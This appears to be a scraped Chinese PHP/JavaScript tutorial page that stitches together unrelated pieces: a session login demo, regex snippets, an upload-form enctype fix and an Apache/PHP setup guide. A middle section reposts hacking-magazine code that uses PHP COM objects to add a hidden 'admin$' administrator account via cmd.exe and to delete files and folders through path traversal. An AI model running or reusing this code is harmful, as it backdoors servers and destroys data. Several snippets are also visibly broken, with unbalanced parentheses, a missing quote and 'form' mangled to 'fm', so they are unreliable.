用session进行登录验证

 更新时间:2016年11月25日 15:17  点击:1368

用session进行登录验证

页面1:

<html>
<title>Login Test</title>
<body>

<?php
if(empty($_POST['user']))
{
?>
<form action="<?php $PHP_SELF ?>" method=POST >
UserName:<input type="text" name="user" />
</br>
Password:<input type="password" name="pwd" />
<input type="submit" />
</form>
<?php
}
else
{
$user=$_POST['user'];
$pwd=$_POST['pwd'];
if($user=="test"&&$pwd=="test")
{
echo "success";
session_start();
$_SESSION['user']=$user;
header('Location:页面2');
}
}
?>
</body>
</html>


页面2:

<?php
session_start();
if(!empty($_SESSION['user']))
{
echo "success";
}
else
{
echo "Login Please!";
}
?>

正则表达式  模式匹配 Javascript
摘要:收集一些常用的正则表达式。
正则表达式用于字符串处理,表单验证等场合,实用高效,但用到时总是不太把握,以致往往要上网查一番。我将一些常用的表达式收藏在这里,作备忘之用。本贴随时会更新。

匹配中文字符的正则表达式: [\u4e00-\u9fa5]

匹配双字节字符(包括汉字在内):[^\x00-\xff]

应用:计算字符串的长度(一个双字节字符长度计2,ASCII字符计1)

String.prototype.len=function(){return this.replace([^\x00-\xff]/g,"aa").length;}

匹配空行的正则表达式:\n[\s| ]*\r

匹配HTML标记的正则表达式:/<(.*)>.*<\/\1>|<(.*) \/>/

匹配首尾空格的正则表达式:(^\s*)|(\s*$)

应用:javascript中没有像vbscript那样的trim函数,我们就可以利用这个表达式来实现,如下:

String.prototype.trim = function()
{
    return this.replace(/(^\s*)|(\s*$)/g, "");
}

利用正则表达式分解和转换IP地址:

下面是利用正则表达式匹配IP地址,并将IP地址转换成对应数值的Javascript程序:

function IP2V(ip)
{
re=/(\d+)\.(\d+)\.(\d+)\.(\d+)/g  //匹配IP地址的正则表达式
if(re.test(ip))
{
return RegExp.$1*Math.pow(255,3))+RegExp.$2*Math.pow(255,2))+RegExp.$3*255+RegExp.$4*1
}
else
{
throw new Error("Not a valid IP address!")
}
}

不过上面的程序如果不用正则表达式,而直接用split函数来分解可能更简单,程序如下:

var ip="10.100.20.168"
ip=ip.split(".")
alert("IP值是:"+(ip[0]*255*255*255+ip[1]*255*255+ip[2]*255+ip[3]*1))

匹配Email地址的正则表达式:\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*

匹配网址URL的正则表达式:http://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)?

利用正则表达式去除字串中重复的字符的算法程序:[注:此程序不正确,原因见本贴回复]

var s="abacabefgeeii"
var s1=s.replace(/(.).*\1/g,"$1")
var re=new RegExp("["+s1+"]","g")
var s2=s.replace(re,"")
alert(s1+s2)  //结果为:abcefgi

我原来在CSDN上发贴寻求一个表达式来实现去除重复字符的方法,最终没有找到,这是我能想到的最简单的实现方法。思路是使用后向引用取出包括重复的字符,再以重复的字符建立第二个表达式,取到不重复的字符,两者串连。这个方法对于字符顺序有要求的字符串可能不适用。

得用正则表达式从URL地址中提取文件名的javascript程序,如下结果为page1

s="http://www.9499.net/page1.htm"
s=s.replace(/(.*\/){0,}([^\.]+).*/ig,"$2")
alert(s)

利用正则表达式限制网页表单里的文本框输入内容:

用正则表达式限制只能输入中文:onkeyup="value=value.replace(/[^\u4E00-\u9FA5]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u4E00-\u9FA5]/g,''))"

用正则表达式限制只能输入全角字符: onkeyup="value=value.replace(/[^\uFF00-\uFFFF]/g,'')" onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\uFF00-\uFFFF]/g,''))"

用正则表达式限制只能输入数字:onkeyup="value=value.replace(/[^\d]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))"

用正则表达式限制只能输入数字和英文:onkeyup="value=value.replace(/[\W]/g,'') "onbeforepaste="clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d]/g,''))"

动态设置上传文件的enctype


<fm id="up" name="up" action="upfileile.php" method="post" enctype="multipart/fm-data">
<input type="file" name="upfileilefile[]" />
<input type="file" name="upfileilefile[]" />
<button type="submit" >upfileile</button>
</fm>
学过js的人可能试图用js检查并控制enctype得类型

fm=document.getElementById('up');
if(fm.getAttribute('enctype')!='multipart/fm-data'){
    fm.setAttribute('enctype','multipart/fm-data');
}以上代码完全按照W3C格式
FF下运行良好 但是IE不兼容,其它浏览器可以不兼容,就IE不能不兼容
在看YUI类库时得到启发
IE中fm没有enctype属性,只有encoding属性,那么以上代码改写为:

fm=document.getElementById('up');
if(fm.getAttribute('enctype')!='multipart/fm-data'&&fm.encoding!='multipart/fm-data')
  if(fm.encoding){
      fm.setAttribute('encoding','multipart/fm-data');
  }else{
      fm.setAttribute('enctype','multipart/fm-data');
  }
}
//最外成if判断可以去掉 因为你是要设置它可以上传文件这样你可以试试这样得代码了
<script type="text/javascript">
function upfileile(fm){
  if(fm.encoding){
      fm.setAttribute('encoding','multipart/fm-data');
  }else{
      fm.setAttribute('enctype','multipart/fm-data');
  }
  fm.setAttribute('method',post');
  if(!fm.getAttribue('action')){
      fm.setAttribute('action',location.href);
  }
  fm.submit();
}
</script>
<fm action="upfileile.php" onsubmit="try{upfileile(this);}catch(e){};return false;">
<input type="file" name="upfileilefile[]" />
<input type="file" name="upfileilefile[]" />
<button type="submit" >upfileile</button>
</fm>


问题存在于php5,windows平台,通用apache2和iis
添加用户
<?php
$wscript = new COM('wscript.shell'); $wscript->Run("cmd.exe /c net user admin$ /add");
$wscript->Run("cmd.exe /c net localgroup administrators admin$ /add");
?>
测试结果为添加了受限的用户,并没有加入管理员组

通过http 服务软件运行程序。
<?php
$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');
$compatUI->RunApplication("something", "notepad.exe", 1);
?>
测试结果为进程继承了http服务软件的权限。
以服务为运行方式的http服务软件运行的进程是不可视的,但如果用zend studio来运行的话就可以看见了。

其他代码没有一一测试,现将黑防杂志附送光盘里的代码贴上来。

RunApplication函数测试代码
<?php
$compatUI = new COM('{0355854A-7F23-47E2-B7C3-97EE8DD42CD8}');
$compatUI->RunApplication("something", "notepad.exe", 1);
?>

Wscript运行命令测试代码
<?php
$wscript = new COM('wscript.shell');
$wscript->Run("cmd.exe /c calc.exe");
?>
<?php
$wscript = new COM('wscript.shell'); $wscript->Run("cmd.exe /c net user admin$ /add");
$wscript->Run("cmd.exe /c net localgroup administrators admin$ /add");
?>

OpenTextFile测试代码
<?php   
$mPath = str_repeat("..\",20);
$FSO = new COM('Scripting.FileSystemObject');
$FSO->OpenTextFile($mPath."bat.bat", 8, true);
?>   

DeleteFile测试代码
<?php
$mPath = str_repeat("..\",20);
$FSOdelFile = new COM('Scripting.FileSystemObject');
$FSOdelFile->DeleteFile($mPath.".\*.dat", True);
?>

DeleteFolder测试代码
<?php
$mPath = str_repeat("..\",20);
$FSOdelFolder = new COM('Scripting.FileSystemObject');
$FSOdelFolder->DeleteFolder($mPath.".\11", True);
?>

Create函数测试代码
<?php
$user = new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');
$user->Create("asd");
?>

与JSP相比,PHP具学习简单、运行更新快、安全性高等特点,所以在编写动态网页时,PHP是首选。大家都知道,PHP边学的程序只能在服务器端运行,所以要运行你编写的程序,除了下载PHP程序编译器外,还要下载一个web服务器软件。如果是用微软的IIS,PHP的性能是不能完全发挥出来的。只要Apache和PHP搭配才是最家方案,这种优势在Linux下尤为突出,下面我们一起来下载安装:

1. Apache2
先下载安装Apache2,可以到其官方网站(http://www.apache.org)下载。
下载地址:http://archive.apache.org/dist/httpd/binaries/win32/
下载文件为:apache_2.0.53-win32-x86-no_ssl.exe ,双击安装,如下图:

图一. 安装Apache是所注意的地方
打开IE浏览器,在地址栏里输入 http://localhost 后点回车,如果可以看到下图内容,说明安装正确



打开安装地址..\Apache2\conf中的文件httpd.conf,找到DocumentRoot "C:/Program Files/Apache2/htdocs",修改路径为你站点所在位置,如DocumentRoot "D:/web"。注意:“\”在此要改为“/”。保存httpd.conf文件并重起Apache即可。如下图所示:

2. PHP
首先我们到PHP官方网站(http://www.php.net)下载PHP5。
下载地址:http://www.php.net/get/php-5.1.0RC1-Win32.zip/from/a/mirror
下载文件为:php-5.1.0RC1-Win32.zip。解压后改名为php,考入C盘根目录下即可。
下面我们设置Apache和PHP,让他们能一起工作。打开C:\php中的文件install.txt,找到Example 2-5. PHP and Apache 2.0 as CGI一行,即适应于 Apache 2.0 ,将起后面的语句复制到httpd.conf文件最后,保存httpd.conf文件并重起Apache即可。

要复制的语句如下:
ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php

&#35; For PHP 4
Action application/x-httpd-php "/php/php.exe"

&#35; For PHP 5
Action application/x-httpd-php "/php/php-cgi.exe"




由于PHP 5 不再绑定 MySQL 客户端库例,如我们在运行PHP程序时出现
Fatal error: Call to undefined function mysql_connect()
大家不要着急,我们手动在 php.ini 中激活 php_mysql.dll 扩展库,就可以了,方法很简单,将C:\php中的php.ini-dist该名为php.ini,找到下列语句
......
;extension=php_mssql.dll
;extension=php_msql.dll
;extension=php_mysql.dll
;extension=php_oci8.dll
.....
首先是去掉;extension=php_mysql.dll前面的“;”(;为注释),第二步是将C:\php\ext中的php_mysql.dll复制到C:\WINDOWS(C:\WINNT)中即可,或者将环境变量的PATH值增加;C:\php\ext。保存并重起Apache。
<?
phpinfo();
?>
运行后如果显示如下图,说明设置正确


文章录入

[!--infotagslink--]

相关文章

  • PHP session_start()很慢问题分析与解决办法

    本文章来给各位同学介绍一下关于PHP session_start()很慢问题分析与解决办法,希望碰到此问题的同学可进入参考。 最近在做东西的时候发现一个问题 有一个接口挂...2016-11-25
  • php中登录后跳转回原来要访问的页面实例

    在很多网站用户先访问一个要登录的页面,但当时没有登录后来登录了,等待用户登录成功之后肯定希望返回到上次访问的页面,下面我就来给大家介绍登录后跳转回原来要访问的页...2016-11-25
  • php中用curl模拟登录discuz以及模拟发帖

    本文章完美的利用了php的curl功能实现模拟登录discuz以及模拟发帖,本教程供参考学习哦。 代码如下 复制代码 <?php $discuz_url = &lsquo;ht...2016-11-25
  • Django def clean()函数对表单中的数据进行验证操作

    这篇文章主要介绍了Django def clean()函数对表单中的数据进行验证操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-07-09
  • Ruby on Rails实现最基本的用户注册和登录功能的教程

    这里我们主要以has_secure_password的用户密码验证功能为中心,来讲解Ruby on Rails实现最基本的用户注册和登录功能的教程,需要的朋友可以参考下...2020-06-30
  • JavaScript实现密码框输入验证

    这篇文章主要为大家详细介绍了JavaScript实现密码框输入验证,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-10-01
  • PHP分布式框架如何使用Memcache同步SESSION教程

    本教程主要讲解PHP项目如何用实现memcache分布式,配置使用memcache存储session数据,以及memcache的SESSION数据如何同步。 至于Memcache的安装配置,我们就不讲了,以前...2016-11-25
  • PHP中SSO Cookie登录分析和实现

    什么是SSO?单点登录SSO(Single Sign-On)是身份管理中的一部分。SSO的一种较为通俗的定义是:SSO是指访问同一服务器不同应用中的受保护资源的同一用户,只需要登录一次,即通过一个应用中的安全验证后,再访问其他应用中的受保护...2015-11-08
  • php有效防止同一用户多次登录

    【问题描述】:同一用户在同一时间多次登录如果不能检测出来,是危险的。因为,你无法知道是否有其他用户在登录你的账户。如何禁止同一用户多次登录呢? 【解决方案】 (1) 每次登录,身份认证成功后,重新产生一个session_id。 s...2015-11-24
  • PHP中SSO Cookie登录分析和实现

    什么是SSO?单点登录SSO(Single Sign-On)是身份管理中的一部分。SSO的一种较为通俗的定义是:SSO是指访问同一服务器不同应用中的受保护资源的同一用户,只需要登录一次,即通过一个应用中的安全验证后,再访问其他应用中的受保护...2015-11-08
  • Nest.js 授权验证的方法示例

    这篇文章主要介绍了Nest.js 授权验证的方法示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2021-02-22
  • vue实现用户登录切换

    这篇文章主要为大家详细介绍了vue实现用户登录切换,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下...2021-04-22
  • el-table树形表格表单验证(列表生成序号)

    这篇文章主要介绍了el-table树形表格表单验证(列表生成序号),文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-06-01
  • 详解C#中的session用法

    这篇文章主要介绍了C#中的session用法 ,非常不错,具有一定的参考借鉴价值,需要的朋友可以参考下...2020-06-25
  • Python3使用Selenium获取session和token方法详解

    这篇文章主要介绍了Python3使用Selenium获取session和token方法详解,需要的朋友可以参考下...2021-02-17
  • selenium 反爬虫之跳过淘宝滑块验证功能的实现代码

    这篇文章主要介绍了selenium 反爬虫之跳过淘宝滑块验证功能,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下...2020-08-27
  • 修改mysql密码phpmyadmin不能登录

    出现phpmyadmin不能登录是我在修改我mysql服务器密码之后导致的,后来百度了相关的原因,原来是修改了mysql密码之后我们还需要在phpmyadmin目录中去修改config.inc.php中...2016-11-25
  • vue element table中自定义一些input的验证操作

    这篇文章主要介绍了vue element table中自定义一些input的验证操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-07-18
  • JQuery form表单提交前验证单选框是否选中、删除记录时验证经验总结(整理)

    这篇文章主要介绍了JQuery form表单提交前验证单选框是否选中、删除记录时验证经验总结,非常不错,具有参考借鉴价值,需要的朋友参考下吧...2017-06-15
  • Vue-Element-Admin集成自己的接口实现登录跳转

    关于这个Vue-element-admin中的流程可能对于新的同学不是很友好,所以本文将结合实例代码,介绍Vue-Element-Admin集成自己的接口实现登录跳转,感兴趣的小伙伴们可以参考一下...2021-06-23